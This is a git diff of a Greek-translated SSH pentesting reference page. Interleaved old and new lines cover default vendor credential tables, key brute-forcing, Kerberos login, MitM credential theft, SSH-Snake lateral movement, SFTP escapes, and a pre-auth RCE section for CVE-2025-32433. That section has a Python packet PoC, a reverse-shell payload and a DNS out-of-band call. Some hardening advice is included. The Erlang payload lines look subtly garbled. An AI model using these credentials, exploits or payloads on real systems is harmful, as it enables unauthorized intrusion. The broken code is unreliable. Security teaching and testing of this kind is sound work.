Ορισμένα κοινά ssh credentials [εδώ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) και [εδώ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) και παρακάτω.
|
||||
Κάποιες κοινές ssh credentials [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)and [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) και παρακάτω.
|
||||
|
||||
### Private Key Brute Force
|
||||
|
||||
Αν γνωρίζετε μερικά ssh private keys που θα μπορούσαν να χρησιμοποιηθούν... ας το δοκιμάσουμε. Μπορείτε να χρησιμοποιήσετε το nmap script:
|
||||
Αν γνωρίζετε μερικά ssh private keys που θα μπορούσαν να χρησιμοποιηθούν... ας τα δοκιμάσουμε. Μπορείτε να χρησιμοποιήσετε το nmap script:
|
||||
```
|
||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||
```
|
||||
@ -113,32 +113,52 @@ https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||
```
|
||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||
```
|
||||
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
Ή χρησιμοποιήστε `ssh-keybrute.py` (native python3, ελαφρύ και με ενεργοποιημένους legacy αλγορίθμους): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
|
||||
#### Γνωστά badkeys μπορούν να βρεθούν εδώ:
|
||||
|
||||
#### Known badkeys can be found here:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
{{#endref}}
|
||||
|
||||
#### Weak SSH keys / Debian predictable PRNG
|
||||
#### Αδύναμα SSH keys / Προβλέψιμο PRNG στο Debian
|
||||
|
||||
Ορισμένα συστήματα έχουν γνωστά ελαττώματα στον τυχαίο σπόρο που χρησιμοποιείται για τη δημιουργία κρυπτογραφικού υλικού. Αυτό μπορεί να έχει ως αποτέλεσμα μια δραματικά μειωμένη περιοχή κλειδιών που μπορεί να παραβιαστεί. Προγεννημένα σύνολα κλειδιών που δημιουργήθηκαν σε συστήματα Debian που επηρεάζονται από αδύνατο PRNG είναι διαθέσιμα εδώ: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
Ορισμένα συστήματα έχουν γνωστές αδυναμίες στο random seed που χρησιμοποιείται για τη δημιουργία κρυπτογραφικού υλικού. Αυτό μπορεί να οδηγήσει σε δραματικά μειωμένο keyspace, το οποίο μπορεί να υποβληθεί σε brute-force. Προ-παραχθέντα σύνολα κλειδιών από συστήματα Debian που επηρεάζονται από αδύναμο PRNG είναι διαθέσιμα εδώ: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
Πρέπει να κοιτάξετε εδώ για να αναζητήσετε έγκυρα κλειδιά για τη μηχανή του θύματος.
|
||||
Πρέπει να κοιτάξετε εδώ για να αναζητήσετε έγκυρα κλειδιά για το μηχάνημα-θύμα.
|
||||
|
||||
### Kerberos
|
||||
### Kerberos / GSSAPI SSO
|
||||
|
||||
**crackmapexec** χρησιμοποιώντας το πρωτόκολλο `ssh` μπορεί να χρησιμοποιήσει την επιλογή `--kerberos` για να **αυθεντικοποιηθεί μέσω kerberos**.\
|
||||
Για περισσότερες πληροφορίες εκτελέστε `crackmapexec ssh --help`.
|
||||
If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password.
|
||||
|
||||
## Default Credentials
|
||||
Workflow from a Linux attacker host:
|
||||
```bash
|
||||
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
|
||||
sudo ntpdate <dc.fqdn>
|
||||
|
||||
| **Vendor** | **Usernames** | **Passwords** |
|
||||
# 2) Generate a krb5.conf for the target realm (optional, but handy)
|
||||
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||
sudo cp krb5.conf /etc/krb5.conf
|
||||
|
||||
# 3) Obtain a TGT for the user
|
||||
kinit <user>
|
||||
klist
|
||||
|
||||
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
|
||||
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Εάν συνδεθείτε με το λάθος όνομα (π.χ. συντομευμένο host, alias, ή λανθασμένη σειρά στο `/etc/hosts`), μπορεί να λάβετε: "Server not found in Kerberos database" επειδή το SPN δεν ταιριάζει.
|
||||
- Το `crackmapexec ssh --kerberos` μπορεί επίσης να χρησιμοποιήσει το ccache σας για Kerberos auth.
|
||||
|
||||
## Προεπιλεγμένες Διαπιστευτήριες
|
||||
|
||||
| **Προμηθευτής** | **Ονόματα χρηστών** | **Κωδικοί πρόσβασης** |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
@ -153,51 +173,51 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
|
||||
## SSH-MitM
|
||||
|
||||
Εάν βρίσκεστε στο τοπικό δίκτυο ως το θύμα που πρόκειται να συνδεθεί στον SSH server χρησιμοποιώντας όνομα χρήστη και κωδικό πρόσβασης, μπορείτε να προσπαθήσετε να **εκτελέσετε μια επίθεση MitM για να κλέψετε αυτά τα διαπιστευτήρια:**
|
||||
If you are in the local network as the victim which is going to connect to the SSH server using username and password you could try to **perform a MitM attack to steal those credentials:**
|
||||
|
||||
**Διαδρομή επίθεσης:**
|
||||
|
||||
- **Ανακατεύθυνση κυκλοφορίας:** Ο επιτιθέμενος **παρακάμπτει** την κυκλοφορία του θύματος στη μηχανή του, **παρεμβαίνοντας** στην προσπάθεια σύνδεσης στον SSH server.
|
||||
- **Παρεμβολή και καταγραφή:** Η μηχανή του επιτιθέμενου λειτουργεί ως **proxy**, **καταγράφοντας** τα στοιχεία σύνδεσης του χρήστη προσποιούμενη ότι είναι ο νόμιμος SSH server.
|
||||
- **Εκτέλεση εντολών και αναμετάδοση:** Τέλος, ο server του επιτιθέμενου **καταγράφει τα διαπιστευτήρια του χρήστη**, **προωθεί τις εντολές** στον πραγματικό SSH server, **τις εκτελεί** και **στέλνει τα αποτελέσματα πίσω** στον χρήστη, κάνοντάς το διαδικασία να φαίνεται ομαλή και νόμιμη.
|
||||
- **Ανακατεύθυνση κίνησης:** Ο επιτιθέμενος **ανακατευθύνει** την κίνηση του θύματος προς το μηχάνημά του, ουσιαστικά **υποκλέπτοντας** την προσπάθεια σύνδεσης στον SSH server.
|
||||
- **Υποκλοπή και καταγραφή:** Το μηχάνημα του επιτιθέμενου λειτουργεί ως **proxy**, **καταγράφοντας** τα στοιχεία σύνδεσης του χρήστη προσποιούμενο τον νόμιμο SSH server.
|
||||
- **Εκτέλεση εντολών και διάβαση:** Τέλος, ο server του επιτιθέμενου **καταγράφει τα διαπιστευτήρια του χρήστη**, **διαβιβάζει τις εντολές** στον πραγματικό SSH server, **εκτελεί** αυτές και **επιστρέφει τα αποτελέσματα** στον χρήστη, κάνοντας τη διαδικασία να φαίνεται ομαλή και νόμιμη.
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) κάνει ακριβώς αυτό που περιγράφεται παραπάνω.
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) κάνει ακριβώς ό,τι περιγράφεται παραπάνω.
|
||||
|
||||
Για να καταγράψετε την πραγματική MitM μπορείτε να χρησιμοποιήσετε τεχνικές όπως ARP spoofing, DNS spoofing ή άλλες που περιγράφονται στις [**Επιθέσεις Δικτύου Spoofing**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
|
||||
Για να πραγματοποιήσετε το πραγματικό MitM μπορείτε να χρησιμοποιήσετε τεχνικές όπως ARP spoofing, DNS spoofin ή άλλες που περιγράφονται στις [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
|
||||
|
||||
## SSH-Snake
|
||||
|
||||
Εάν θέλετε να διασχίσετε ένα δίκτυο χρησιμοποιώντας ανακαλυφθέντα SSH ιδιωτικά κλειδιά σε συστήματα, χρησιμοποιώντας κάθε ιδιωτικό κλειδί σε κάθε σύστημα για νέους κόμβους, τότε [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) είναι αυτό που χρειάζεστε.
|
||||
If you want to traverse a network using discovered SSH private keys on systems, utilizing each private key on each system for new hosts, then [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) is what you need.
|
||||
|
||||
Το SSH-Snake εκτελεί τις παρακάτω εργασίες αυτόματα και αναδρομικά:
|
||||
SSH-Snake εκτελεί αυτόματα και αναδρομικά τις παρακάτω ενέργειες:
|
||||
|
||||
1. Στο τρέχον σύστημα, βρείτε οποιαδήποτε SSH ιδιωτικά κλειδιά,
|
||||
2. Στο τρέχον σύστημα, βρείτε οποιουσδήποτε κόμβους ή προορισμούς (user@host) που μπορεί να γίνουν αποδεκτοί από τα ιδιωτικά κλειδιά,
|
||||
3. Προσπαθήστε να SSH σε όλους τους προορισμούς χρησιμοποιώντας όλα τα ανακαλυφθέντα ιδιωτικά κλειδιά,
|
||||
4. Εάν συνδεθείτε επιτυχώς σε έναν προορισμό, επαναλάβετε τα βήματα #1 - #4 στο συνδεδεμένο σύστημα.
|
||||
1. Στο τρέχον σύστημα, εντοπίζει οποιαδήποτε SSH private keys,
|
||||
2. Στο τρέχον σύστημα, εντοπίζει hosts ή destinations (user@host) όπου τα private keys μπορεί να γίνουν δεκτά,
|
||||
3. Προσπαθεί να SSH σε όλους τους destinations χρησιμοποιώντας όλα τα discovered private keys,
|
||||
4. Εάν η σύνδεση σε έναν προορισμό είναι επιτυχής, επαναλαμβάνει τα βήματα #1 - #4 στο σύστημα στο οποίο συνδέθηκε.
|
||||
|
||||
Είναι εντελώς αυτοαναπαραγόμενο και αυτοδιαδιδόμενο -- και εντελώς χωρίς αρχεία.
|
||||
Είναι εντελώς αυτοαναπαραγόμενο και αυτοδιαδεδομένο -- και εντελώς fileless.
|
||||
|
||||
## Config Misconfigurations
|
||||
## Λανθασμένες Ρυθμίσεις Διαμόρφωσης
|
||||
|
||||
### Root login
|
||||
### Σύνδεση root
|
||||
|
||||
Είναι κοινό για τους SSH servers να επιτρέπουν τη σύνδεση του χρήστη root από προεπιλογή, γεγονός που θέτει σημαντικό κίνδυνο ασφαλείας. **Η απενεργοποίηση της σύνδεσης root** είναι ένα κρίσιμο βήμα για την ασφάλιση του server. Η μη εξουσιοδοτημένη πρόσβαση με διαχειριστικά δικαιώματα και οι επιθέσεις brute force μπορούν να μετριαστούν κάνοντας αυτή την αλλαγή.
|
||||
Είναι συνηθισμένο οι SSH servers να επιτρέπουν τη σύνδεση του χρήστη root από προεπιλογή, κάτι που αποτελεί σημαντικό κίνδυνο ασφαλείας. Η **απενεργοποίηση της σύνδεσης root** είναι ένα κρίσιμο βήμα για την ασφάλιση του server. Η μη εξουσιοδοτημένη πρόσβαση με προνόμια διαχειριστή και οι brute force επιθέσεις μπορούν να μειωθούν κάνοντας αυτή την αλλαγή.
|
||||
|
||||
**Για να απενεργοποιήσετε τη σύνδεση root στο OpenSSH:**
|
||||
|
||||
1. **Επεξεργαστείτε το αρχείο ρυθμίσεων SSH** με: `sudoedit /etc/ssh/sshd_config`
|
||||
2. **Αλλάξτε την ρύθμιση** από `#PermitRootLogin yes` σε **`PermitRootLogin no`**.
|
||||
3. **Επαναφορτώστε τη ρύθμιση** χρησιμοποιώντας: `sudo systemctl daemon-reload`
|
||||
3. **Επαναφορτώστε τη διαμόρφωση** με: `sudo systemctl daemon-reload`
|
||||
4. **Επανεκκινήστε τον SSH server** για να εφαρμοστούν οι αλλαγές: `sudo systemctl restart sshd`
|
||||
|
||||
### SFTP Brute Force
|
||||
|
||||
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
|
||||
|
||||
### SFTP command execution
|
||||
### Εκτέλεση εντολών SFTP
|
||||
|
||||
Υπάρχει μια κοινή παράλειψη που συμβαίνει με τις ρυθμίσεις SFTP, όπου οι διαχειριστές σκοπεύουν οι χρήστες να ανταλλάσσουν αρχεία χωρίς να επιτρέπουν την απομακρυσμένη πρόσβαση στο shell. Παρά την ρύθμιση χρηστών με μη διαδραστικά shells (π.χ., `/usr/bin/nologin`) και περιορίζοντάς τους σε έναν συγκεκριμένο φάκελο, παραμένει ένα κενό ασφαλείας. **Οι χρήστες μπορούν να παρακάμψουν αυτούς τους περιορισμούς** ζητώντας την εκτέλεση μιας εντολής (όπως `/bin/bash`) αμέσως μετά την είσοδό τους, πριν αναλάβει το καθορισμένο μη διαδραστικό shell τους. Αυτό επιτρέπει την μη εξουσιοδοτημένη εκτέλεση εντολών, υπονομεύοντας τα προγραμματισμένα μέτρα ασφαλείας.
|
||||
Υπάρχει ένα κοινό σφάλμα σε ρυθμίσεις SFTP, όπου οι διαχειριστές προορίζουν τους χρήστες για ανταλλαγή αρχείων χωρίς να επιτρέπουν remote shell access. Παρά το ότι έχουν ορίσει στους χρήστες μη-διαδραστικά shells (π.χ. `/usr/bin/nologin`) και τους έχουν περιορίσει σε συγκεκριμένο κατάλογο, παραμένει ένα κενό ασφαλείας. **Οι χρήστες μπορούν να παρακάμψουν αυτούς τους περιορισμούς** ζητώντας την εκτέλεση μιας εντολής (όπως `/bin/bash`) αμέσως μετά τη σύνδεση, πριν ενεργοποιηθεί το μη-διαδραστικό shell που έχει οριστεί. Αυτό επιτρέπει μη εξουσιοδοτημένη εκτέλεση εντολών, υπονομεύοντας τα προγραμματισμένα μέτρα ασφαλείας.
|
||||
|
||||
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
```bash
|
||||
@ -222,7 +242,7 @@ debug1: Exit status 0
|
||||
|
||||
$ ssh noraj@192.168.1.94 /bin/bash
|
||||
```
|
||||
Εδώ είναι ένα παράδειγμα ασφαλούς διαμόρφωσης SFTP (`/etc/ssh/sshd_config` – openSSH) για τον χρήστη `noraj`:
|
||||
Ακολουθεί ένα παράδειγμα ασφαλούς διαμόρφωσης SFTP (`/etc/ssh/sshd_config` – openSSH) για τον χρήστη `noraj`:
|
||||
```
|
||||
Match User noraj
|
||||
ChrootDirectory %h
|
||||
@ -232,42 +252,42 @@ PermitTunnel no
|
||||
X11Forwarding no
|
||||
PermitTTY no
|
||||
```
|
||||
Αυτή η ρύθμιση θα επιτρέπει μόνο SFTP: απενεργοποιώντας την πρόσβαση στο shell αναγκάζοντας την εντολή εκκίνησης και απενεργοποιώντας την πρόσβαση TTY αλλά και απενεργοποιώντας κάθε είδους προώθηση θυρών ή σήραγγες.
|
||||
Αυτή η διαμόρφωση θα επιτρέψει μόνο SFTP: απενεργοποιώντας την πρόσβαση στο shell εξαναγκάζοντας την start command και απενεργοποιώντας την πρόσβαση TTY, ενώ επίσης απενεργοποιεί κάθε είδους port forwarding ή tunneling.
|
||||
|
||||
### SFTP Tunneling
|
||||
|
||||
Αν έχετε πρόσβαση σε έναν SFTP server μπορείτε επίσης να σήραγγα την κίνησή σας μέσω αυτού, για παράδειγμα χρησιμοποιώντας την κοινή προώθηση θυρών:
|
||||
Αν έχεις πρόσβαση σε έναν SFTP server μπορείς επίσης να tunnel την κίνησή σου μέσω αυτού, για παράδειγμα χρησιμοποιώντας το κοινό port forwarding:
|
||||
```bash
|
||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
### SFTP Symlink
|
||||
|
||||
Η **sftp** έχει την εντολή "**symlink**". Επομένως, αν έχετε **δικαιώματα εγγραφής** σε κάποιον φάκελο, μπορείτε να δημιουργήσετε **symlinks** από **άλλους φακέλους/αρχεία**. Καθώς πιθανότατα είστε **παγιδευμένοι** μέσα σε ένα chroot, αυτό **δεν θα είναι ιδιαίτερα χρήσιμο** για εσάς, αλλά, αν μπορείτε να **πρόσβαση** στο δημιουργημένο **symlink** από μια **υπηρεσία χωρίς chroot** (για παράδειγμα, αν μπορείτε να αποκτήσετε πρόσβαση στο symlink από το διαδίκτυο), θα μπορούσατε να **ανοίξετε τα symlinked αρχεία μέσω του διαδικτύου**.
|
||||
Το **sftp** έχει την εντολή "**symlink**". Επομένως, αν έχετε **writable rights** σε κάποιο φάκελο, μπορείτε να δημιουργήσετε **symlinks** προς **other folders/files**. Καθώς πιθανότατα είστε **παγιδευμένοι** μέσα σε chroot, αυτό **δεν θα είναι ιδιαίτερα χρήσιμο** για εσάς, όμως, αν μπορείτε να **έχετε πρόσβαση** στο δημιουργημένο **symlink** από μια **no-chroot** **service** (για παράδειγμα, αν μπορείτε να αποκτήσετε πρόσβαση στο symlink από το web), θα μπορούσατε να **ανοίξετε τα symlinked αρχεία μέσω του web**.
|
||||
|
||||
Για παράδειγμα, για να δημιουργήσετε ένα **symlink** από ένα νέο αρχείο **"**_**froot**_**" σε "**_**/**_**"**:
|
||||
Για παράδειγμα, για να δημιουργήσετε ένα **symlink** από ένα νέο αρχείο **"**_**froot**_**" προς "**_**/**_**"**:
|
||||
```bash
|
||||
sftp> symlink / froot
|
||||
```
|
||||
Αν μπορείτε να αποκτήσετε πρόσβαση στο αρχείο "_froot_" μέσω του διαδικτύου, θα μπορείτε να καταγράψετε τον φάκελο ρίζας ("/") του συστήματος.
|
||||
Αν μπορείς να έχεις πρόσβαση στο αρχείο "_froot_" μέσω web, θα μπορέσεις να απαριθμήσεις τον root ("/") φάκελο του συστήματος.
|
||||
|
||||
### Μέθοδοι αυθεντικοποίησης
|
||||
|
||||
Σε περιβάλλον υψηλής ασφάλειας, είναι κοινή πρακτική να ενεργοποιούνται μόνο οι μέθοδοι αυθεντικοποίησης με κλειδί ή η αυθεντικοποίηση δύο παραγόντων αντί για την απλή αυθεντικοποίηση με κωδικό πρόσβασης. Αλλά συχνά οι ισχυρότερες μέθοδοι αυθεντικοποίησης ενεργοποιούνται χωρίς να απενεργοποιούνται οι ασθενέστερες. Ένας συχνός περίπτωση είναι η ενεργοποίηση του `publickey` στη διαμόρφωση του openSSH και η ρύθμισή του ως η προεπιλεγμένη μέθοδος, αλλά χωρίς να απενεργοποιείται το `password`. Έτσι, χρησιμοποιώντας τη λεπτομερή λειτουργία του πελάτη SSH, ένας επιτιθέμενος μπορεί να δει ότι έχει ενεργοποιηθεί μια ασθενέστερη μέθοδος:
|
||||
Σε περιβάλλον υψηλής ασφάλειας είναι συνηθισμένη πρακτική να ενεργοποιούνται μόνο μέθοδοι βασισμένες σε κλειδί ή two-factor authentication αντί της απλής αυθεντικοποίησης με password. Ωστόσο, συχνά οι ισχυρότερες μέθοδοι ενεργοποιούνται χωρίς να απενεργοποιηθούν οι ασθενέστερες. Ένα συχνό παράδειγμα είναι η ενεργοποίηση του `publickey` στην παραμετροποίηση του openSSH και ο ορισμός του ως προεπιλεγμένης μεθόδου χωρίς να απενεργοποιηθεί το `password`. Έτσι, χρησιμοποιώντας το verbose mode του SSH client ένας επιτιθέμενος μπορεί να δει ότι μια ασθενέστερη μέθοδος είναι ενεργή:
|
||||
```bash
|
||||
ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
...
|
||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||
```
|
||||
Για παράδειγμα, αν έχει οριστεί ένα όριο αποτυχιών αυθεντικοποίησης και δεν έχετε ποτέ την ευκαιρία να φτάσετε στη μέθοδο κωδικού πρόσβασης, μπορείτε να χρησιμοποιήσετε την επιλογή `PreferredAuthentications` για να αναγκάσετε τη χρήση αυτής της μεθόδου.
|
||||
Για παράδειγμα, αν έχει οριστεί ένα authentication failure limit και δεν έχετε ποτέ την ευκαιρία να φτάσετε στη μέθοδο password, μπορείτε να χρησιμοποιήσετε την επιλογή `PreferredAuthentications` για να αναγκάσετε τη χρήση αυτής της μεθόδου.
|
||||
```bash
|
||||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
debug1: Next authentication method: password
|
||||
```
|
||||
Η ανασκόπηση της διαμόρφωσης του διακομιστή SSH είναι απαραίτητη για να ελέγξετε ότι μόνο οι αναμενόμενες μέθοδοι είναι εξουσιοδοτημένες. Η χρήση της αναλυτικής λειτουργίας στον πελάτη μπορεί να βοηθήσει να δείτε την αποτελεσματικότητα της διαμόρφωσης.
|
||||
Είναι απαραίτητο να ελεγχθεί η διαμόρφωση του SSH server για να διασφαλιστεί ότι μόνο οι αναμενόμενες μέθοδοι έχουν εξουσιοδοτηθεί. Η χρήση του verbose mode στον client μπορεί να βοηθήσει να αξιολογηθεί η αποτελεσματικότητα της διαμόρφωσης.
|
||||
|
||||
### Config files
|
||||
### Αρχεία διαμόρφωσης
|
||||
```bash
|
||||
ssh_config
|
||||
sshd_config
|
||||
@ -283,18 +303,18 @@ id_rsa
|
||||
|
||||
## Authentication State-Machine Bypass (Pre-Auth RCE)
|
||||
|
||||
Πολλές υλοποιήσεις διακομιστή SSH περιέχουν λογικά σφάλματα στην **μηχανή καταστάσεων αυθεντικοποίησης** που επιτρέπουν σε έναν πελάτη να στείλει *μήνυμα πρωτοκόλλου σύνδεσης* **πριν** ολοκληρωθεί η αυθεντικοποίηση. Επειδή ο διακομιστής αποτυγχάνει να επαληθεύσει ότι βρίσκεται στην σωστή κατάσταση, αυτά τα μηνύματα διαχειρίζονται σαν να ήταν ο χρήστης πλήρως αυθεντικοποιημένος, οδηγώντας σε **μη αυθεντικοποιημένη εκτέλεση κώδικα** ή δημιουργία συνεδρίας.
|
||||
Several SSH server implementations contain logic flaws in the **authentication finite-state machine** that allow a client to send *connection-protocol* messages **before** authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to **unauthenticated code execution** or session creation.
|
||||
|
||||
Σε επίπεδο πρωτοκόλλου, οποιοδήποτε μήνυμα SSH με _κωδικό μηνύματος_ **≥ 80** (0x50) ανήκει στο *επίπεδο σύνδεσης* (RFC 4254) και πρέπει να **γίνεται αποδεκτό μόνο μετά από επιτυχημένη αυθεντικοποίηση** (RFC 4252). Εάν ο διακομιστής επεξεργαστεί ένα από αυτά τα μηνύματα ενώ είναι ακόμα στην κατάσταση *SSH_AUTHENTICATION*, ο επιτιθέμενος μπορεί αμέσως να δημιουργήσει ένα κανάλι και να ζητήσει ενέργειες όπως εκτέλεση εντολών, προώθηση θυρών, κ.λπ.
|
||||
Σε επίπεδο πρωτοκόλλου, οποιοδήποτε SSH μήνυμα με _message code_ **≥ 80** (0x50) ανήκει στο επίπεδο *connection* (RFC 4254) και πρέπει να **αποδεχθεί μόνο μετά από επιτυχή αυθεντικοποίηση** (RFC 4252). Εάν ο server επεξεργαστεί ένα από αυτά τα μηνύματα ενώ βρίσκεται ακόμα στην κατάσταση *SSH_AUTHENTICATION*, ο επιτιθέμενος μπορεί αμέσως να δημιουργήσει ένα channel και να αιτηθεί ενέργειες όπως εκτέλεση εντολών, port-forwarding, κ.λπ.
|
||||
|
||||
### Generic Exploitation Steps
|
||||
1. Establish a TCP connection to the target’s SSH port (commonly 22, but other services may expose Erlang/OTP on 2022, 830, 2222…).
|
||||
2. Craft a raw SSH packet:
|
||||
1. Εγκαθιδρύστε μια TCP σύνδεση στη θύρα SSH του στόχου (συνήθως 22, αλλά άλλες υπηρεσίες μπορεί να εκθέτουν Erlang/OTP στις 2022, 830, 2222…).
|
||||
2. Κατασκευάστε ένα raw SSH packet:
|
||||
* 4-byte **packet_length** (big-endian)
|
||||
* 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||
* Payload that will be understood by the chosen message type
|
||||
3. Send the packet(s) **before completing any authentication step**.
|
||||
4. Interact with the server APIs that are now exposed _pre-auth_ (command execution, port forwarding, file-system access, …).
|
||||
3. Στείλτε το/τα packet **πριν ολοκληρωθεί οποιοδήποτε βήμα αυθεντικοποίησης**.
|
||||
4. Αλληλεπιδράστε με τα server APIs που τώρα είναι εκτεθειμένα _pre-auth_ (εκτέλεση εντολών, port forwarding, πρόσβαση στο file-system, …).
|
||||
|
||||
Python proof-of-concept outline:
|
||||
```python
|
||||
@ -308,39 +328,43 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||||
s.sendall(pkt)
|
||||
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||
```
|
||||
Στην πράξη, θα χρειαστεί να εκτελέσετε (ή να παραλείψετε) την ανταλλαγή κλειδιών σύμφωνα με την υλοποίηση του στόχου, αλλά **δεν εκτελείται ποτέ καμία αυθεντικοποίηση**.
|
||||
Στην πράξη θα χρειαστεί να πραγματοποιήσετε (ή να παραλείψετε) την ανταλλαγή κλειδιών ανάλογα με την υλοποίηση-στόχο, αλλά **no authentication** δεν πραγματοποιείται ποτέ.
|
||||
|
||||
---
|
||||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||
* **Επηρεαζόμενες εκδόσεις:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||
* **Αιτία:** ο εγγενής SSH daemon του Erlang δεν επικυρώνει την τρέχουσα κατάσταση πριν καλέσει το `ssh_connection:handle_msg/2`. Επομένως, οποιοδήποτε πακέτο με κωδικό μηνύματος 80-255 φτάνει στον χειριστή σύνδεσης ενώ η συνεδρία είναι ακόμα στην κατάσταση *userauth*.
|
||||
* **Επίπτωση:** μη αυθεντικοποιημένη **εκτέλεση απομακρυσμένου κώδικα** (ο daemon συνήθως εκτελείται ως **root** σε ενσωματωμένες/OT συσκευές).
|
||||
* **Αιτία:** ο εγγενής SSH daemon του Erlang δεν επικυρώνει την τρέχουσα κατάσταση πριν καλέσει `ssh_connection:handle_msg/2`. Επομένως οποιοδήποτε πακέτο με κωδικό μηνύματος 80-255 φτάνει στον χειριστή σύνδεσης ενώ η συνεδρία βρίσκεται ακόμα στην *userauth* κατάσταση.
|
||||
* **Επίπτωση:** μη αυθεντικοποιημένη **remote code execution** (ο daemon συνήθως τρέχει ως **root** σε embedded/OT συσκευές).
|
||||
|
||||
Παράδειγμα payload που δημιουργεί ένα reverse shell δεμένο με το κανάλι που ελέγχεται από τον επιτιθέμενο:
|
||||
Παράδειγμα payload που δημιουργεί ένα reverse shell συνδεδεμένο με το κανάλι που ελέγχεται από τον επιτιθέμενο:
|
||||
```erlang
|
||||
% open a channel first … then:
|
||||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||
```
|
||||
Blind RCE / out-of-band detection μπορεί να πραγματοποιηθεί μέσω DNS:
|
||||
Η Blind RCE / out-of-band detection μπορεί να πραγματοποιηθεί μέσω DNS:
|
||||
```erlang
|
||||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||
```
|
||||
Detection & Mitigation:
|
||||
* Εξετάστε την κίνηση SSH: **απορρίψτε οποιοδήποτε πακέτο με κωδικό μηνύματος ≥ 80 που παρατηρείται πριν από την αυθεντικοποίηση**.
|
||||
* Αναβαθμίστε το Erlang/OTP σε **27.3.3 / 26.2.5.11 / 25.3.2.20** ή νεότερη έκδοση.
|
||||
* Περιορίστε την έκθεση των θυρών διαχείρισης (22/2022/830/2222) – ειδικά σε εξοπλισμό OT.
|
||||
Ανίχνευση & Αντιμετώπιση:
|
||||
* Επιθεωρήστε την κίνηση SSH: **απορρίψτε οποιοδήποτε πακέτο με κωδικό μηνύματος ≥ 80 που παρατηρείται πριν την αυθεντικοποίηση**.
|
||||
* Αναβαθμίστε το Erlang/OTP σε **27.3.3 / 26.2.5.11 / 25.3.2.20** ή νεότερο.
|
||||
* Περιορίστε την έκθεση των management ports (22/2022/830/2222) – ειδικά σε OT εξοπλισμό.
|
||||
|
||||
---
|
||||
### Other Implementations Affected
|
||||
* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – δέχεται ένα μη αυθεντικοποιημένο `SSH_MSG_USERAUTH_SUCCESS` που αποστέλλεται από τον πελάτη, αποτελεσματικά το αντίστροφο λογικό σφάλμα.
|
||||
### Άλλες Υλοποιήσεις που Επηρεάζονται
|
||||
